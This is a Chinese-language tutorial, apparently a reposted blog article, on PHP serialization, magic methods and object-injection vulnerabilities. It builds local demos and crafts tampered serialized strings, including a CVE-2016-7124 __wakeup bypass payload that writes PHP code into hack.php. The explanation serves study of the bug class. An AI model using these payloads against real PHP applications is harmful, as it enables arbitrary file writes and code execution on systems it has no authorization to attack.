在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
php存在着一个反序列化漏洞,也叫php对象注入。理解这个漏洞的成因首先要理解到面向对象中的方法和属性。 序列化和反序列化在php中,有着这两个函数:serialize()和unserialize(). serialize()serizalize()结果返回字符串,此字符串包含了表示value的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。 当我们创建一个对象后,为了方便之后的使用,我们就可以用 serialize()把这个对象变化一个字符串。同时这也方便了对象值的传递和保存。 新建一个"serialized.php"测试: 1 <?php 2 class Test 3 { 4 var $test = 'aaa'; 5 } 6 $Test1 = new Test(); 7 $Test1_ser = serialize($Test1); 8 echo $Test1_ser; 9 ?> 返回结果:
O:4:"Test":1:{s:4:"test";s:3:"aaa";} 该字符串中 O代表序列化对象为object(对象),4代表对象名长度为4,"Test"指的是对象名,1代表该对象中有一个值,s代表字符串(str),4为字符串长度,"test"为字符串内容。 unserialize()unserialize()也就是将serialize()序列化之后的字符串实例化,也就是重建对象。新建"unseralized.php"测试: <?php include "serialized.php"; $str = 'O:4:"Test":1:{s:4:"test";s:3:"aaa";}'; $a = unserialize($str); print_r($a); ?> 输出结果: magic function在复现之前,我们先了解下php中的magic函数,也叫魔法函数。 https://secure.php.net/manual/zh/language.oop5.magic.php 魔法函数有很多个,我们重点看这几个:__construct,__sleep,__wakeup,__destruct __construct和__destruct分别会在对象创建和销毁时自动调用; __sleep在一个对象被序列化的时候调用(清理缓存); __wakeup在一个对象被反序列化的时候调用。 测试代码: <?php class Test { public $var1 = 'hello'; public $var2 = 'world'; public function Printvar() { echo $this->var1.' '.$this->var2.'<br />'; } public function __construct() { echo '__construct<br />'; } public function __destruct() { echo '__destruct<br />'; } public function __wakeup() { echo '__wakeup<br />'; } public function __sleep() { echo '__sleep<br />'; return array('var1','var2'); } } //创建对象调用__construct $object = new Test(); //序列化对象调用 __sleep $serialize = serialize($object); //输入序列化后的字符串 echo 'Serialize:'.$serialize.'<br />'; //重建对象调用__wakeup $object = unserialize($serialize); //调用Printvar方法 $object->Printvar(); //脚本结束调用__destruct ?> 输出结果:
反序列化漏洞 当php进行反序列化的时候,如果我们的反序列化字符串可控,从而改变对象中属性的值的话,那么反序列化的结果就会有所不同。 <?php class Popdemo { public $data = "demo"; public $filename = "./demo.txt"; public function __construct() { echo '__construct <br />'; } public function __wakeup() { echo '__wakeup <br />'; } public function __destruct() { echo '__destruct <br/>'; //$this->save(); } public function save() { file_put_contents($this->filename,$this->data); } } $object = new Popdemo(); $object->save(); $newobj = serialize($object); echo $newobj.'<br />'; file_put_contents('./pop_serialized.txt',$newobj); ?> 这段代码就是将字符串"demo"保存进demo.txt,然后将序列化后的字符串保存在pop_serialized.txt 运行结果: 成功保存 再建立一个pop.php,代码如下: <?php include 'popdemo.php'; $pop = file_get_contents('./pop_serialized.txt'); $newobjt = unserialize($pop); var_dump($newobjt); 我们将O:7:"Popdemo":2:{s:4:"data";s:4:"demo";s:8:"filename";s:10:"./demo.txt";} 字符串修改一下 改为: O:7:"Popdemo":2:{s:4:"data";s:4:"hack";s:8:"filename";s:10:"./hack.txt";} 同时将popdemo.php中的一些代码注释掉
运行pop.php
可以看到,我们成功地在本地保存了一个hack.txt的文件 而不是demo.txt php对象注入成功
反序列化漏洞之绕过__wakeup参考分析:http://0x48.pw/2016/09/13/0x22/ CVE-2016-7124:当成员属性数目大于实际数目时可绕过wakeup方法 重写popdemo.php <?php class Popdemo { public $data = "demo"; public $filename = "./demo.txt"; public function __construct() { echo '__construct <br />'; } public function __wakeup() { echo '__wakeup <br />'; } public function __destruct() { echo '__destruct <br/>'; $this->save(); } public function save() { file_put_contents($this->filename,$this->data); } } ?>
将O:7:"Popdemo":2:{s:4:"data";s:4:"hack";s:8:"filename";s:10:"./hack.txt";}改为 O:7:"Popdemo":3:{s:4:"data";s:18:"<?php phpinfo();?>";s:8:"filename";s:10:"./hack.php";} 运行pop.php 可以看到没有打印__wakeup,说明__wakeup方法并没有执行,同时再访问hack.php 绕过成功.
参考链接:php bugs 72663分析(CVE-2016-7124):http://0x48.pw/2016/09/13/0x22/ 理解php反序列化漏洞:http://blog.csdn.net/qq_32400847/article/details/53873275 php magic functions:https://secure.php.net/manual/zh/language.oop5.magic.php
|
2022-08-18
2022-08-17
2022-11-06
2022-08-17
2022-07-30
请发表评论